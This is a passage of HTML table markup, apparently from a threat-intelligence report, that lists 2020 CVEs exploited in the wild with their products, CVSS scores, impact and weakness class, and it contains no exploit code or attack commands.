style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-17087</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Kernel Local Privilege Escalation</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-10148</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SolarWinds Orion API Authentication Bypass</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported  as 0day)</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-12271</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Sophos XG Firewall Unauthenticated SQL Injection</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported  as 0day)</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1020</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Adobe Font Manager Library Remote Code  Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-4006</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">VMware Workspace ONE Command Injection</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.1</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-14871</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Oracle Solaris PAM Remote Code Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-15999</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Google Chrome FreeType Heap Buffer Overflow</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">6.5</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0986</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Sandbox Escape via splw64 Untrusted Pointer  Dereference</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">*</span></span><span style="font-family:Arial,sans-serif;color:#595959;">)</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1048</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Print Spooler Service Arbitrary File Write  &#34;PrintDemon&#34;</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3992</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">VMware ESXi OpenSLP Use-After-Free Remote Code  Execution (Incomplete Patch)</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-8195</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix NetScaler ADC/Gateway/SD-WAN WANOP Improper  Access Control</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">6.5</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-8193</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix NetScaler ADC/Gateway Authentication Bypass</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">6.5</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-8196</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix NetScaler ADC/Gateway/SD-WAN WANOP Improper  Access Control</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">4.3</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0601</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows CryptoAPI Spoofing Vulnerability  &#34;Curveball&#34;</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.1</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3118</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Cisco IOS XR Software Discovery Protocol Format String  Vulnerability &#34;CDPwn&#34;</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1350</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows DNS Server Remote Code Execution  &#34;SigRed&#34;</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-10189</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Zoho ManageEngine Remote Code Execution</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (released as 0day)</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Deserialization / Java</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-17496</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">vBulletin subWidgets data RCE</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (released  as 0day)</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-14750</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">WebLogic Unauthenticated Remote Code Execution Patch  Bypass</span></p></td><td width="50" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported  as 0day)</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 